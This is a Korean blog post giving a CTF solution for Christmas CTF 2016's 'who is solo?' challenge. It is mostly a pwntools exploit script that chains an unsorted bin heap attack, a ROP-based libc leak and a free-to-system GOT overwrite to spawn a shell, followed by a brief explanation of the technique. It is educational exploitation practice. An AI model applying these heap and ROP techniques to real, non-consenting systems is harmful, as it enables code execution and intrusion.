Pwnable/CTF

크리스마스CTF 2016 who is solo?

HSr00t 2017. 8. 27. 04:25
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
 
p=process("./solo")
elf=ELF("./solo")
 
def malloc(number,size,data):
    p.recvuntil('$ ')
    p.sendline("1")
    p.recvuntil('Number: ')
    p.sendline(str(number))
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvuntil('Data: ')
    p.sendline(data)
 
def free(number):
    p.recvuntil('$ ')
    p.sendline("2")
    p.recvuntil('number: ')
    p.sendline(str(number))
 
def modify(data):
    p.recvuntil('$ ')
    p.sendline("201527")
    p.recvuntil('Data: ')
    p.send(data)
 
def login_fun(pw):
    print p.recv(1024)
    p.sendline("4")
    print p.recv(1024)
    p.sendline(pw)
 
def exit():
    p.recv(1024)
    p.sendline("5")
login = 0x602080
pop_rdi = 0x4008a0
pop_rsi = 0x400d11
malloc(1,256,"AAA")
malloc(2,256,"BBB")
free(1)
modify(p64(0)+p64(login-0x10))
malloc(3,260,"CCCC")
 
 
payload = "A"*1032
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
 
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(elf.got['free'])*2
payload += p64(elf.plt['read'])
 
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(elf.bss()+0x100)*2
payload += p64(elf.plt['read'])
 
payload += p64(pop_rdi)
payload += p64(elf.bss()+0x100)
payload += p64(elf.plt['free'])
 
login_fun(payload)
exit()
puts = u64(p.recv(6)+"\00\00")
base = puts - 0x6f690
system = base + 0x45390
binsh = system + 0x172017
print hex(puts)
p.sendline(p64(system))
p.sendline("/bin/sh\00")
 
 
p.interactive()
 
cs


아주 예전에 heap 아무것도 몰랏을때 봤다가 포기했었던 문제였다.

지금보니까 간단한 문제였다.


unsorted bin attack 으로 bk쪽에 bk - 16 에 login 주소를 넣고

malloc를 하면

bk 포인터가 반환되면서 bk 쪽에 main_arena가 들어간다.

unsorted bin attack 기법 문제는 leak 할때나 특정 변수에 값을 넣어야되는 문제에 많이 쓰일 것 같다.


(how2heap unsorted bin attack)